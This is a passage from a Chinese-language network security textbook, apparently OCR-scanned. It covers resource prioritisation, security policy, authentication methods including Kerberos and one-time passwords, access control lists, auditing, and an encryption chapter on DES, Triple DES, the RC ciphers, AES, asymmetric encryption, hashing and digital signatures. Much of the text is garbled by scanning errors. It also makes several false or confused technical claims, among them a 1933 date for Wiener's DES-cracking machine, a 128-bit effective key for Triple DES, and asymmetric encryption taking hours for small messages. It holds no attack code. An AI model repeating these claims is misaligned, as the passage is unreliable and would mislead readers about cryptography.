    安全管理员经常犯下这样的错误，即把太多的资源划到级别l，级别1的资源仅仅是那些一也不能产生的问题的资源，例如：E-mail已经飞快地成为了绝大多数机构中最重要的构成元素，绝大多数网络管理员把它归化为级别l资源，因为它们对网络其它部分提供了一个基础。对于用户而言，绝大多数机器都不是级别1资源，即使CEO的笔记本电脑坏了，但是公司其它的电脑毫无疑问在CEO电脑维修期间仍旧正常工作，类似的，一个非电子商务站点并不会把它的WEB服务器作为级别1资源，你应该小心谨慎地权衡每种情况，举个例子，如果你的公司使用局限网，那么它的WEB服务器是多么重要?你应该依据下面的标准来做出判断。
● 机器的流量是多少?
● 机器上的信息的敏感度，服务器是仅仅包括少量的链接和作为“神经中枢”(即重要的信息在这几进行交换)。
● 根据系统的性质，一些系统天生的比其它系统更加安全。
                                  资源优先级划分
    在把公司资源都分类以后，你的安全实施计划中应该包括一个危险优先级列表和—个行动列表，你的应该根据每个系统和它的信息(包括多余系统的可用性等等)的重要性而定。这种优先级列表是重要的，因为当发生事故时，员工将不会被迫去决定什么应该先被抢救，期待他们在那种情况下做出是一种过渡的负担，将损害公司整个的安全，很少的了工厂部门有充足的人手和资源去解决所有级别1系统。
你应该从财政状况以及时间上考虑优先级问你自己以下几个问题：
● 我能为这部分资源花费多少钱和时间?
● 哪种级别工资源需要最大的安全?
    一个级别l的系统含有重要的资源并要慎重考虑，但—个级别3的系统也许仅仅需要病毒检查， —个不切实际的政策将伤害一个公司保护自己的能力，甚至可能伤害公司有效通信的能力。如果你正在从事用信用卡进行电子消费或电子现金交易活动，你需要对在这些系统里用到的数据和服务器进行特别的保护，如果系统被成功的渗透，你的公司将对被盗用的信用卡帐号或其它信息付出代价，更为重要的是你公司的声誉将很难恢复。
                                  指定危险因数
    —旦你所有网络资源被分类和优先级化，你必须指定危险因数，危险因数指的是一个黑客攻击某种资源的可能性，你已经定义的某种资源将确定危险因数，当对某种资源确定危险因数时，需使用这条基本原则，资源越敏感危险因数就越人。举个例子，生产钉书钉的公司有一个WEB站点，这个站点的危险因数要远远低于一个生产弹道导弹的公司的站点，安全基础没施是安全政策在执行阶段的体现，它将包括多层次的防御和依据每个系统的分类而确定下来的不同等级的保护。http://www.securtyinfo.com这个站点对于正准备创建—个安全策略的来说是一个好去处，这个站点描述了政策和技术之间的关系。
                              定义可接受和不可接受活动
    为了对特殊的资源设计安全政策，一个有经验的安全管理员必须区别出可接受和不可接
受活动。这样的活动必须根据每类资源而定，你的安全实施计划必须指定可接受的活动和不
可接受的活动。对于安全而言，可接受和不可接受的范畴总是有效的，然而，机构组织将根
据需要来确定不同的可接受活动，一个对于一家公司是可行的政策可能会对另外一家公司带来灾难性后果，因此，尽管基本原则是一致的，但是个体的实际应用将会是不同的甚至是根本的不同。
                                  可接受的活动
    对于每一类资源，可接受的活动将是不同的，假设对于你公司的WEB站点可接受的活动包括允许用户仅仅浏览在公文件夹里的HTML页的内容和递交请求，你的政策将给予系统管理员额外的权限使他们可以访问WEB站点的所有目录，并且进行管理，最后你的安全政策将毫无疑问地给予你公司的Webmaster(网络管理员)更深的访问权限使得他可接受的活动。
                                不可接受的活动及实施
    对于每一类资源，不可接受的活动也是不同的，当你定义什么是不可接受时，你可以使用两种方式中的一种，你既可以列举出什么是可接受的，这样就建立了一个不可接受的列表或者你清晰地列举出什么是不可接受的，每个方法都有它自己的优点和缺点，如果使用不当，—个可接受活动的列表经常是范围太广，并且实际上常与用户活动产生矛盾阻碍了公司的正常功能，后面一种经常遗漏掉不可接受的活动，使得保护产生了一个裂口，一个法律问题随时产生，如果安全政策遗漏了一个重要的活动或者几个活动的组合，则一个黑客可以找出这个政策的漏洞。因为没有两个商业团体是相同的，所以不可接受活动没有一个清晰的定义，因此经常必然地把不可接受的活动定义为任何没行具体标明为是可接受的活动，然而使用如此一个大的范围制订和实施一个安全基础设施将是很困难的。
    因此最好的解决方案是定期定义和列举出不可接受的活动，这样做可能会花费一些时间并且需要经常更新，但是也将能够建立一个有效的政策，扩展一下上面假设的例子，你也许想要除了网络管理员任何人不能修改HTML文什的内容，通过例举出这样的活动，你能确保这些活动在你的保护机制里已经被具体地说明，并且你的用户知道了政策。
                                将策略应用到资源上
    一但你已经确认了资源，并且确定了它们的，你必须对你网络里的每一个元素确定一个合适的安全策略，安全策略包括购买防火墙设备和使用加密，每一个设备都需要一个单独的安全评估，你应该对于你最重要的资源实施最全面和先进的安全策略。
    列举出你将应用到每个资源上的策略，例如你可能不用在你的路由器上实施包过滤，这个步骤是基础的，但是你应用到你的系统时它将节约大量的时间。
    应用安全策略到资源上的一个关键是考虑在每个资源上将花费多少时间和金钱，安全策略将总是最佳性能价格比的，意思是尽可能的全面有效同时尽可能少的花费。
                                  定义教育标准
    完成有效的安全的一个最好方法是教给你公司的职员关键的安全原则。举个例子，如果用户知道如何选择好的密码，则对于一个黑客而言将更加困难规避你的密码认证系统。经常这样的一个系统对于站点的安全是至关重要的，管理员需要了解如何在他管理的系统上设立有效的安全，程序员需要知道如何编写软件，以使软件不会为黑客提供后门去刺探网络。通过定义你想要不同的组织知道哪些知识，你将能创建和使用机制去训练他们。表2-2显示了
你提供给你公司网络的用户不同级别的训练：
级别　　　知识的需要
用户　　　要对一些安全威胁和漏洞敏感：要对保护公司的信息和资源引起重视
执行者　　需要达到熟悉公司安全知识的级别并做出使用信息安全程序的决策
管理员　　开发防止威胁和漏洞的技能来满足系统和资源安全的需要
                              谁负责管理策略
    如果你没有指定哪些人或组织对于维护安全计划的每一部分负责任，则最好的安全也将会很快失败。你的安全政策应当列举出叫哪些部门负责保护哪些系统，如果你没有为资源分类并且专门为系统的各个部分指定责任人，则你的系统将不会达到它所必需的安全。在—些更大的公司，整个一个部门将负责单一的网络安全，大多数的管理资源将被用于审查职员对于政策的遵守情况。
                                          加密
    加密是使某些东西只能是某些特定的接受者可以知道的过程。网络和文件：经常使用加密技术。对于文件而言，加密把容易渎取的源文件变成密文文件。能够政取这种密文的方法是获得密钥(即把原来的源文件加密成密文的东西)。网络是一个开放式系统，加密变的不仅对于email文件，而且对于网络通信都很重要。
                                    加密类型
    你可能听说过不同的加密文件：方法，包括使用算法，例如DES，RSA和MD5。这些不同方法的每一种都是在网络中用到的三种重要的加密类型的实例。
● 对称加密：使用一个字符串(密钥)去加密数据。同样的密钥用于加密和解密
● 非对称加密：使用一对密钥来加密数据。这对密钥相关有关联，尽管分析公钥和获得私　　钥是很困难的(几乎是不可能的)，这对密钥一个用于加密，一个用于解密，反之亦然。非对称加密的另外一个名字是公钥加密。
● HASH加密：更严格的说它是一种算法，使用一个叫HASH函数的数学方程式去加密数据。理论上HASH函数把信息进行混杂，使得它不可能恢复原状。这种形式的加密将产生一个HASH值，这个值带有某种信息，并且具有一个长度固定的表示形式。你将在整个课程中看到这三种加密类型的用法。
    有关更详细的加密知识我们会在第三章中重点认证讲述。
    认证过程试图验证一个用户，系统或系统进程的身份，在这种验证发生时，依据系统管理员制定的参数真止的用户或系统能够获得相应的权限。
如果你使用过ATM下或出示过学生ID卡，或使用过汽车驾驶执照，则你已经涉及了
一种个人认证的形式，如果你曾经使用密码使你的机器登录到网络，则你已经参与了认证，事实上任何使用过家门钥匙或者汽车钥匙的人都用到了用户认证的原则，然而认证也用于整个系统和网络。
                                            认证方法
    用户或系统能够通过四种方法来证明他们的身份，对于认证这节课的其余部分将根据这四种方式来讨论具体的程序，你能通过以下四种方法来证明白己的身份。
● What you know?
● What you have?
● Who you are ?
● Where you are?
                                  Whatyou know?
    在互联网和计算机领域中最常用的认证方法是密码认证，当你登陆计算机网络时它总是需要你输入密码，这是你应该知道的。计算机把它的认证建立在密码之上，如果你把密码告诉了其他人，则计算机也将给予那个人的访问权限，因为认证是建立在已知密码之上的，这并不是计算机的失误，而是用户本身造成的，当然仅仅屈于一种模式的认证。
                                    Whatyou have?
    这种方法稍微先进一些，因为你需要一些物理原理，一个好的例子是一张楼宇通行卡只有在扫描器上划过卡的人才能进入大楼，这里认证是建立在这张卡之上，如果你把这张下借给了别人，那个人也能进入这幢大楼，因此如果你希望为进入大楼创建一个更加精密的认证系统，你可以要求不仅要有通行卡而且要有密码认证。在计算机领域中“你拥有什么”方法的一个典型例子是智能卡和数字认证的使用。
                                    智能卡
    所有的智能卡都含有一块蕊片，蕊片中包含了一些拥有持卡人的个人信息，驾照信息及医疗信息等等，一块智能卡与标准信用卡大小相等甚至更大，尺寸大小主要取决于内嵌蕊片的功能。有时内嵌蕊片包含只读信息，蕊片比起信用卡背面的磁条卡含有更多的信息，这种类别的智能卡经常只能被开发—次，并且完全依赖于称为智能卡可读器来进行操作，美国快递蓝卡站点，它是专门设计成开发上面所提到的智能卡的市场。所有的智能卡都依赖于一个可渎器(一个电子设备)。ISO 7816文献包含了用于智能卡的标准，你可以往以下的站点中到有关智能卡的更多内容
智能卡工业协会WEB站： www。scia．org
Schlumberger主页站点www．slb．com／smartcards．
Visa站点www.visa.com/nt/chip/main.html
                                            Who you are?
    这种过程通常需要—些物理因素，如基因或其它—些不能复制的个人特征，这种方法也被认为是生物测定学。到目前为止高级生物学认证已经很有经验，并且只在—些高安全环境中实施。现在，上百个公司都开发出较低价格的生物测定解决方案。例如这种方法包括指纹，面部扫描器，视网膜扫描器和语音分析。
    Compaq公司提供了对于标准串口鼠标的指纹扫描器，并附在临视器旁。你可以出问
www.compaq.com/products/optionts/fit/index.html来找到一些更多相关的内容。
                                  Where you are?
    考虑到认证的缺点，这种策略根据你的位置来决定你的身份。例如，UNIX的rlogin和rsh程序通过源IP地址来验证一个用户，主机或执行过程。反向DNS查询不是一个很严谨的认证实施，但它却是相关的因为它至少在允许访问前企图判断传输的源位置。
                                  特殊的认证技术
    下面是两种用于加强认证系统的技术。它们结合使用加密技术和额外策略来检查身份。你不需要一定使用像Kerberos或一次性密码这样的程序，但是在你的认证手段中使用这样的程序可有效地帮你防止一些恶意破坏。
                                Kerberos
    Kerberos系统是美国麻省理工学院为Athena工程而设计的，为分布式计算环境提供一种对用户双方进行验证的认证方法。Kerberos是一种被证明为非常安全的双向身份认证技术，其身份认证强调了客户机对服务器的认证，而别的身份认证技术往往只解决了服务器对客户机的认证。Kerberos有效地防止了来自服务器端身份冒领的欺骗。在讨论认证的过程之前让　　我们先了解一·下几个元素的约定：
K--—-—-密钥
A---—一身份
C----—-用户
P-----—访问授权服务器
PAC---访问授权服务器签发的授权凭证
S-—-—-应用服务器，如邮件服务器等
{?;}Kn一一表示用Kn加密人括号中的内容
    Kerberos的认证过程如下：
①用户C以明文的形式向向身份认订I』艮务器A发送自己的名字；服务器A从安全数据库中杳找到用户C的加密密钥Kc，随机生成下一阶段使用的加密密钥K1，然后将K1和用于以后向服务器A证实用户身份的通信凭据{K1。C}Ka用Kc一起加密为{K1，{k1，C}Ka}Kc传给用户C。
②用户c得到服务器A发回的{K1，(k1,C)Ka}Kc后，使用自己的密钥Kc进行解密通信凭据{K1，c}Ka。由于用户c知道只有服务器A知道Kc，因此用户c可以确认服务器的身份。用户c将得到的送给服务器A， 申请访问授权服务器P的通信凭据{K2,C}KP。当身份认证服务器A收到用户的请求后，它用自己的私钥Ka来解密。由于服务器A只有c知道Kc，所以身份认证服务器可以确定这个请求必定是来自c的。这样双方就进行了身份认证。接着双方就可以进行下面的操作了。
C->A：{K1，C}Ka,{C,MD-5Checksum，timestamp}K1
A--)C：·．．．．．
    我们可以看出，在C向A的请求信息中包含一个数据签名：{C,MD-5 Checksum，timestamp}K1，该数字签名含有时间戳，只在一段时间内生效。这可以使得攻击者无法篡改原始信息，并且无法进行重传攻击。
    不过我们在使用Kerberos认证应该注意以下一些问题：
● 用户C的加密密钥是整个身份认证过程的核心所在，必须定期更换
● 多数计算机系统没有保存钥匙的安全区域。实际应用中应对保存各用户加密密钥的安全数据库进行严格管理。
● 随机产生的加密密钥应符合安全的规定
                          一次性密码(OTP)
    为了解决固定口令的诸多问题，安全专家提出了一次性口令(OTP：OneTimePassword)
的密码体制，以保护关键的计算资源。
    OTP的主要思路是：在登录过程中加入不确定闪素，使每次登录过程中传送的信息都不相同，以提高登录过程安全性。例如：登录密码：MD5(用产名+密码+时间)，系统接收到登录口令后做—个验算即可验证用产的合法性。
                          访问控制
    每个系统都要确保只有它们想要的个体，系统才能够访问，这种机制叫访问控制。一个网络内部的机制确保每个用户和系统只能访问安全策略所允汁的访问。访问控制是发生在认证过程之后。在你经过系统认证后，是通过访问控制机制来控制你在系统中能访问些什么，这种机制能用于赋予或拒绝权限。一个形象的比喻是把访问控制看作是一个公司的大楼。大多公司都有一个议会休息室并且任何人都能进入，这个休息室可以看作是一个WEB服务器允许未授权的用户访问其主页。要进入公司真正的办公室，人们需要出示身份徽章。这种形式的安全允许只有经过认证的员工才能访问公司的办公室。在员工进入人楼后，他们的身份卡只能允许他们访问某些办公室。这种机制是一种访问控制，它限制了认证后的用户能访问些什么。
    所有的操作系统都支持访问控制。访问控制是保护服务器的基本机制。你必须在服务端上限制哪些用户可以访问服务和守护进程。
                                        访问控制列表(ACL)
    现代的信息系统把资源处理成有着某些特征和属性的对象。资源可以是像打印机或磁盘这样的设备，也可以是操作系统，应用程序或内存。计算机上的文件：也是一种资源。与这些资源安全相关的特性就是访问控制列表(ACL)。一人ACL是标识个人用户或组的数据库。每个用户或组都被分配一个访问级别，并根据这个数据库所包含的内容定义这些用户或组能够执行什么。一个通过认证的用户仍必须通过ACL来取得相应的权限
                                  执行控制列表(ECL)
    在访问控制里一个新的概念就是执行控制列表(ECL)，经常用于特殊的应用程序，如
NetscapeNavigator或微软的InternetExplorer。—个ECL允许操作系统限制一些特定程序的活动。没有商业的操作系统或平台实施—个完全的ECL策略。UNIX系统包含了—些对于rexec，rlogin和rshell程序的执行控制列表版本。这些程序都使用执行控制列表来确定在主机A上的哪些用户可以不登陆的情况下在B主机上执行程序。但是这种形式的执行控制列表只能在远程系统上工作。
    执行控制列表的一个好处就是能对于那些恶意的Active X控件程序的破坏起到—定的保护作用。例如，你可以进一步地控制．java小程序。最后，软件商们已开始开发能够执行更多任务的ECL程序，来允许用户自己决定程序的参数。
                                              审计
    审计是整个安全计划一个基本特征。多数现在的系统可以以日志文件的形式记录下所有的活动。这些日志可以帮助对你实施的安全进行有效地诊断。通过这些活动的日志，你总是可以判断是否或者怎样一个不允许的活动发生。
                                    被动式和主动式审计
    审计包括被动地记录一些活动。在被动审计中，计算机简单地记录一些活动，并不做什么处理，因此，被动式审计不是—个实时的检测，因为必须得查看这些日志然后对其它包含的内容采取措施。被动式审计的原则是需要你前期事先的做些设置。
    主动式审计包括主动地响应非法和入侵，这些响应可能包括
● 结束一个登陆会话
● 拒绝——些主机的访问(包括WEB站点，FTP服务器和e-mail服务器)
● 跟踪非法活动的源位置
                              安全的权衡考虑和缺点
    很多时候管理员需要实施安全却在设计阶段没有慎重考虑。安全需要经常也有些缺点，它们可能会是
● 增加了复杂性：你不得不培训用户如何使用你需要的安全机制
● 降低了系统响应时间：认证，审计和加密机制会降低系统性能
                                本章小结：
    有效的安全结果是来自—个坚固的安全策略，在本课中你已学到一个安全策略足是由于不同的技术，服务和机制来—起工作的。我们还学到如何和用一些可靠的技术和规则，如加密，主动式和被动式审汁，存取控制哼结合来达到一个可靠的安全，当然，我们也不要忘记要权衡地考虑安全所带来的—些负面影响。这里要求人家要尽可能的使你的安全实施不要过于复杂。
    问题讨论：
√ 安全包含哪些要素
√ 评估风险因素的方法及策略
√ 加密、认证的几种方式及原理(包括两种特殊的认证方式)

                                    第三章
                                  应用加密
                                    引言
    前面已提到，应用加密是由于多种原因的。加密可以保证数据的保密性，也可用于验证用户，它足在实现网络安全的重要手段之一。在本课中，你将学到如何使用对称加密，非对称加密和HASH加密来建立一个信任关系。
本章要点：
● 列出特定的对称加密，非对称加密和HASH加密
● VPN的原理和实施
● 证书服务器的安装和配置及SSL的应用
● 在WindowsNT和Linux—下配置PGP及GPG
                            加密的优势
加密提供以下四种服务，见表2-3
服务　　　　解释
数据保密性　这是使用加密的通常的原因。通过小心使用数学方程式，你可以保证只以你打算接收的人才能查看它。
数据完整性　对需要更安全来说数据保密是不够的。数据仍能够被非法破解开修改。—种叫HASH的运算方法能确定数据是否被修改过。
认证　　　　数字签名提供认证服务。
不可否定性　数字签名允许用户证明一条信息交换确实发生过。金融组织由其依赖于这种方式的加密，用于电子货币交易。
                          加密强度
    加密文件：—个常被讨论但又经常被误解的方面是加密强度。什么构成了加密的强度?什么是被美国出口法保护的?哪种级别的加密是被不同的安全需要所要求的?如何确定加密的有效强度?
    加密强度取决于二个主要因素：
    首先是算法的强度，包括几个因素，例如，除了尝试所有可能的密钥组合之外的任何方法都不；能数学的使信息被解密。从我们的角度而言，我们应该使用工业标准的算法，它们已经被加密学专家测试过无数次，任何一个新的或个体的配方将不被信任直到它被商业的认证。
    第二个因素是密钥的保密性，一个合乎逻辑但有时被忽略了的方面没有算法能够发挥作用如果密钥受到损害，因此，数据的保密程度直接与密钥的保密程度相关，注意区分密钥和算法，算法不需要保密，被加密的数据是先与密钥共同使用，然后再通过加密算法。
    第三个因素是密钥程度，这是最为人所知的一个方面，根据加密和解密的应用程序，密钥的长度是由”位”为单位，在密钥的长度上加上一位则相当于把可能的密钥的总数乘以二倍，简单的说构成一个任意给定长度的密钥的位的可能组合的个数可以被表示为2的n次方，这几的n是一个密钥长度， 因此，一个40位密钥长度的配方将是2的40次方或1099511627776种可能的不同的钥，与之形成鲜明对比的是现代计算机的速度。尽管可能加密的密钥的总数是非常大的，专门的计算机现在可以在不到一天时间内试验许多种密钥的组合，在一九三三年，Michael wiener研制出一种专门的计算机，专门破译DES(一种使用56一位密钥的算法)。在研制的过程中他发现设计所需要的费用是呈直线则的，考虑到他的结果和Moore的法则的因子(此法则指出计算力大约每18个月增长一倍)。其实任何密码都能破解而无论它的长度，想像一下这样的密钥和用现代的机器去破解是多么的快速。简单的说，一个人或组织在密钥破解的装备上花的钱越多，则密钥就会被越快的破解，这种断言最近已经得到证实。ElectronicFrontierFoundation建造的专门的计算机最近在不到三天的时间内破泽了一个64位基础的密码。
    尽管有相对的缺点，美国政府把使用超过40位的密钥的加密规为强加密，这种加密出口相关的法律已经获得通过。美国国内公司想要出口使用强加密的产品，首先要获得美国国务院的许可。例如，PrettyGoodPrivacy(PGP)加密工具的国际版本，虽然这些法律可能会变得日益宽松，但是一些公司和组织将毫无疑问继续遵守它。尽管公司和政府用现代化的计算机可以击败40位的加密，但是耗费的成本超过了信息本身的价值。事实』上，决定需要密钥的长度的—个因素是被保护信息的价值。尽管40位的密钥对于金融交易来说并不总是合适的，但对于个人用户的需要已经足够了。目前美国出口法对于40位密钥长度的限制已取消。
                              建立信任关系
    应用加密指的是在主机之间建立一个信任关系。在最基本的级别上，一个信任关系包括一方加密的信息并只有另一方的合作伙伴可以解密这个文件。这种任务是和用公钥加密来完成的。这种类别的加密要求你建立一个私钥和一个公钥。一旦你已经产生了一对密钥，你可以把公钥发布给任何人。

你可以通过以下两种方法来发布你的公钥：
● 手动：你首先必须和接收方交换公钥，然后用接收方的公钥来加密信息。PGP和S／MIME 需要使用这种方法。
● 自动：SSL和IPSec通过一系列的握手可以安全地交换信息(包括私钥)，在本课你将学到有关这方面更多的知识。
        下面是在加密中一些术语的简单介绍：
Rounds，Parallelization和强度加密
Round是在加密过程中一个离散部分。通常一种算法要经过很多“圈”的运算。大多的对称加密算法的rounds首先对未加密数据的一半进行运算，然后再对另一半处理。然后每一半加密后的数据再重新运算以达到更复杂的结果。对信息分开进行加密使对称加密更快速。有关加密中的parallelization是指使用多进程，多处理器或多台机器来破解一种加密算法。你可以通过访问http：／／www,rsalabs．com／rsalabs／challenges来学到有关公钥挑战加密机制的更多内容。
    强壮的加密是使用—些超过128位长度的密钥来实施的。较新的技术可能需要对强壮加密来作新的定义。在2000年1月，美国政府发布了有关允许出口什么样的强壮加密的产品，这次发布要求所有的新产品在出口前都要经历一次技术检查揭示。美国政府这么做的目的是要跟踪所有使用加密的政时和用户。
                                  对称加密
    在对称加密或叫单密钥加密中，只有一个密钥用来加密和解密信息。尽管单密钥加密的一个简单的过程，但是双方都必须完全的相信对方，并都持有这个密钥的备份。但要达到这种信任的级别并不是想像中的那么简单。当双方试图建立信任关系时可能一个安全破坏，已经发生了。首先密钥的传输就是—个重要问题，如果它被截取，那么这个密钥以及相关的重要信息就没有什么安全可言了。
    —个有关对称密钥加密的例子如你用来防问你的ATM机所使用的密码或登陆到你的的ISP密码。对称加密的好处就是快速并且强壮。这种特点允许你加密大量的信息而只需要几秒钟。对称加密的缺点是有关密钥的传播，所有的接收者和查看者都必须持有相同的密钥，因此所有的用户必须寻求一种安全的方法来发送和接收密钥。
    但是，如果用户要在公共介质上如互联网来传递信息，他需要—下中方法来传递密钥，当然如果物理的发送和接收密钥是最安全的，但有时这是不可能的。一种解决方法就是通过电子邮件来发送，但这样的信息很容易的被截取到，从而击破了加密的日的。用户不能加密包含密钥的邮件，因为他们必须共享另一个用来加密含有密钥邮件的密钥。这种困境就产生了问题：如果对称密钥用它们自己来加密，那为什么不直接用相同的方法在第一步就使用?一个解决方案就是用非对称加密，我们将在本课的后面提到。
    所有类型加密的一个主题就是破解。一种减少使用对称加密所造成的威胁的反措施就是改变密钥的规律性。然而，定期改变密钥经常是困难的，由其是你的公司里有很多用户。另外，黑客可以使用字典程序，password sniffing来危及对称密钥的安全，或者通过搜翻办公桌，钱包以及公文包。对称加密也很容易被暴力攻击的手段击败。
                                对称加密算法
    有很多特殊的数学算法来实现对称加密。这些算法包括数据加密标准(DES)，TRIPLE，DES,RSA算法的RC2,RC4,RC5,RC6：MARS，Twofish，以及Serpent。
                                  数据加密标准
    美国的国家技术标准局(NIST)在1977年小式地采用了DES。你可以在http：／／www,nist．gov了解更多有关NIST的内容。DES和TripleDES已经成为许多公司和组织加密的标准。在美国联邦执行标准(FIPS)PUB 46-l 中有详细介绍
FIPS文献是由NIST开发的公共标准。Cipher-Block Chaining(CBC)是数据加密标准的—种模式，升在FIPSPUB 81里有详细描述http：／／www,nist．gov／itl／div897／pubs／fip81．htm。美国国家安全机构(NSA)和国家技术标准局(NIST)来维护这些系统。
    DES是一种block密文意思是把数据加密成海64他的block。使用相同的密钥来加密和解密。这种标准使用一种叫做“diffusion and confusion”的技术。每64位的数据义被分成两半，并利用密钥对每一半进行运算(称做—次round)。DES行16个rounds，并且对于每个round运算所使用密钥的位数是不同的。
    DES的优点是快速并易于实施。DES已经提出使用了超过25年，因此很多硬件和软件都使用DES算法。但是，密钥的传播和管理非常困难，因为DES依赖于单密钥模式。
                            TripleDES
    普通DES使用56位长度的密钥，并且被认为应用一般信息上已经足够了。对于—些更敏感的信息，一些用户使用一种叫triple DES的技术。这种情况下是，信息首先被使用56位的密钥加密，然后用另一个56位的密钥译码，最后再用原始的56位密钥加密，这样TripleDES使用了有效的128位长度的密钥。在／L种加密的级别中，Triple DES经常能防止man-in-the-middle攻击。普通的DES加密速度很快，并且Triple DES也要比其它的对称算法速度快。Triple DES最大的优点就是可以使用已存在的软件和硬件。在DES加密算法上已做出大量投资的公司可以轻松的实施TripleDES。
                          对称算法由RSA安全公司创立
    RonRivest，AdiShamir，和LeonardAdleman在1977年发明了他们的公钥加密系统，并且以他们名字中的第一个字母命名。到现在，他们已经发明了／L种不同的算法。RSA算法可用于几种商业的操作系统和程序中，包括WindowsNT和NetscapeNavigator。
    RSA安全公司(www．rsa．com)在加密的领域中广为人知并有卓越的成效。RSA的技术包括在互联网上利WWW上已存在和建议的标准。RSA的WEB站点(http：／／www,rsa．com)含有有关加密和安全技术的一些实用信息。
    在商业应用程序中RC2利RC4是最常用的对称密钥算法。它们使用可变长度的密钥美国最多支持到128位。在国际上，RC2利RC4从美国出口密钥限制到40位。
                              RC2和RC5
    RC2是由Ron Rivest开发的，它是一种block模式的密文，就是把信息加密成64位的数据。因为它可以使用不同长度的密钥，它的密钥长度可以从零到无限大，并且加密的速度依靠密钥的大小。
    RC5类似于RC2，也是block密文，但是这种算法采用不同的block大小和密钥大小。还有住算法中数据所通过的round也是不同的。一般建议使用128位密钥的RC5算法并有12到16个rounds。
                                RC4
    是由Rivest在1987年开发的，是—种流式的密文，就是实时的把信息加密成一个整体。密钥的长度也是可变的：在美国一般密钥长度是128位，向外出口时限制到40位，因为受到美国出口法的限制。LotusNotes，OracleSecuresQL，CDPD都使用RC4的算法。
                                  RC6
    不像其它一些较新的加密算法，RC6包括整个算法的家族。RC6系列在1998年被提出在RC5算法提Ui后，经调查发现其在对特殊的round上加密时存在于一个理论上的漏洞。RC6的设计弥补了这种漏洞。
                          Blowfish and，rwolish
    Blowfish是由BruceSchneier开发的一种非常灵活的对称算法，并且在个人的加密领域里是非常有名的并作出了很大的贡献。它使用不同的round密文，并且密钥的长度最大可支持到448位。
    Schneier现在已创建了一种较新的算法叫Twofish。这种算法使用128位的block并且速度要比Blowfish快得多。Twofish支持28位，192，和256位的密钥。是一种有前途的加密算法并可用于智能卡上。
                          Skiack and MARS
    Skiack是由美国国家安全机构设计的—种加密程序。MARS是由IBM提出的—种算法，并且速度要比DES还要快，和Twofish一样，它主要也要面向工作在智能卡上而没计的。
                              高级加密标准
    一些专家认为DES和TripleDES不足以满足宣全的需求。在1997年1月，美国国家技术标准局(NIST)开始对DES展开调查的过程。到写这本书的时候，NIST已经进行了第三轮评估。为了满足其它一些需求，对称加密选择了AES必须能建立128，192，和256位长度的密钥，并可支持不同的平台。
                                非对称加密
    非对称加密在加密的过程中使用一对密钥，而不像对称加密只使用—个单独的密钥。—对密钥中一个用于加密，另一个用来解密。如用A加密，则用B解密，如果用B加密，则要用A解密。
    重要的概念是在这对密钥中一个密钥用来公用，另一个作为私有的密钥：用来向外公布的叫做公钥，另一半需要安全保护的是私钥。非对称加密的一个缺点就是加密的速度非常慢，因为需要强烈的数学运算程序。如果一个用户需要使用非对称加密，那么即使比较少量的信息可以也要花上小时的时间。
    非对称加密的另一个名字叫公钥加密。麻省里上学院的数学家们在1970年首先开发了非对称密钥(公钥)技术。尽管私钥和公钥都有与数学相关的，但从公钥中确定私钥的值是非常困难的并且也是非常耗时的。在互联网上通信，非对称加密的密钥管理是容易的因为公钥可以任易的传播，私钥必须在用户手中小心保护。
                                非对称密钥加密元素
    三种最常见的非对称密钥加密是RSA，the Digital Signature Algorithm(DSA)，
Diffie-Hellman。DSA是美国国家技术标准局研发的技术，并且已广为使用。尽管它的功能不同于RSA，但它并不是一项专利，并且成为Linux下公钥加密方法的标准。Diffie-Hellman是一种安全交换密钥的协议，因此可以看做密钥交换协议。它是一种开放式标准并在安全通信中广泛使用，主要有一点作了改动： 因为Diffie-Hellman密钥交换协议的方法易受mad·in-the·middle这类攻击，所以Station-to-station(STS)协议改变了Diffie·Hellman协议包括采取相应的认证。
                                    HASH加密
    HASH加密把一些不同长度的信息转化成杂乱的128位的编码里，叫做HASH值。HASH加密用于不想对信息解密或读取。使用这种方法解密在理论上是不可能门，是通过比较两上实体的值是否一样而不用告之其它信息。HASH加密别一种用途是签名文件。它还可用于当你想让别人检查但不能复制信息的时候。
    举个例子，一台自动取款机(ATM)不需要解密—个消费者的个人标识数字(PIN)磁条卡将项客的代码单向地加密成一段HASH值，—旦插下时，ATM机将计算用户PIN的HASH
值并产生—个结果，然后再将这段结果与用户卡上的HASH值比较。使用这种方法，PIN是安全的，即使对于那些维护ATM机的人来说。
                                      签名
    信息鉴别的方法可以使信息接收者确定：信息发送者的身份以及信息正传送过程中是否被改动过。如果信息的收发双方对该信息的内容及发送端没有争执的话，那么只采用鉴别技术也就足够了。鉴别技术可以保证在信息传送过程中对信息内容的任何改动都可以被检测出来，并且能够正确的鉴别出信息发送方的身份。但是，当信息的收发方对信息的内容及发送端产生争执时，只用鉴别技术就不够了。
    收方可以伪造一份信息，从中获得非法和益，并且自称该信息是由发送方发过来的。例如，银行通过通信网络传送一张支票，收方就可以对支票数额进行改动，并且声称他已收到了这张支票。和用前面的鉴别技术丝毫也解决不了这个问题，因为鉴别使用了一个收／发双方共享的秘密密钥，这样才能是发放产生一个鉴别码而接收方又能对该鉴别码进行校验。但是收方也能对他伪造的信息产生一个合法的鉴别码，这给整个系统带来严重的安全问题。
在许多情况下，特别是商业系统中，通常都和用书面文件，来规定契约性的责任，虽然鉴别技术可以完全有效的防止第三者的介入，但是却丝毫不能防上下接收者的伪造。问题的另一方面是发送方可能是不诚实的，由于他发送的信息变得对他很不和，而要逃避责任，那么发送方就可能谎称他从未发过这个信息。在按个争执过程中，第二方也无法分辨那种情况是真实的。
    为了解决上述问题，就必须和用另外一种安全技术—-一数字签名。签名必须达到如下效果：在信息通信的过程中，接收方能够对公正的第二方(可以是以方事前统一委托其解决某一问题或某一争执的仲裁者)证明其收到的报文内容是真是的，而且确实是由那个发送方发过来的，同事签名还必须保证发送方式后不；能根据自己的和茄否认他所发送过的报文，而收方也不能根据自己的利益来伪造报文或签名。
    对于数字签名的产生过程来说，必须有足够的信息才能对报文和签名进行验证，没有足够的信息就会给伪造或否认报文提供可乘之机．但是收发双方用来产生与校验的签名的信息不能完全相同，因为一旦接收方能够用发送方用来产生签名的相同信息(算法和参数)来证实报文和签名，那么收方同样也能够用它来伪造报文和签名．所以签名产生者与签名证实者之间的相同信息绝对不能太多，如果发送方事后担心接收方否认接收到了他所发送的报文，那么发送方应能够请求获得报文证明，也就是说由接收方对发送方提供收到报文的证据，例如，如果甲方把报文发送给乙方，那么乙方就要向甲方发送一份签了名的报文证明收到了，由于这份报文有乙方的签名，所以，乙方是不能抵赖他所收到的报文的．
